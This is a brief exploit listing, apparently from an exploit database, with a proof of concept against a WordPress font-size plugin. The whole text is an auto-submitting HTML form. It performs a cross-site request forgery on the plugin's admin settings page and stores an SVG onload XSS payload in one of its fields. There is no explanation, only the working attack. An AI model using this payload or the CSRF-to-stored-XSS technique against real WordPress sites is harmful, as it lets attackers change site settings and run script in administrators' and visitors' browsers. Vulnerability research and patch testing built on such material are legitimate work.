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## https://sploitus.com/exploit?id=WPEX-ID:04305E4E-37E3-4F35-BF66-3B79B99D2868
<form id="test" action="https://example.com/wp-admin/options-general.php?page=wp-chgfontsize.php" method="POST">
    <input type="text" name="chgfontsize_div_element" value='body"><svg/onload=alert(/XSS/)>'>
    <input type="text" name="chgfontsize_min_font_size" value="0">
    <input type="text" name="chgfontsize_max_font_size" value="500">
    <input type="text" name="chgfontsize_interval_font_size" value="">
    <input type="text" name="chgfontsize_units_font_size" value="px">
    <input type="text" name="chgfontsize_default_font_size" value="500">
    <input type="text" name="info_update" value="Update Options ยป">
</form>
<script>
    document.getElementById("test").submit();
</script>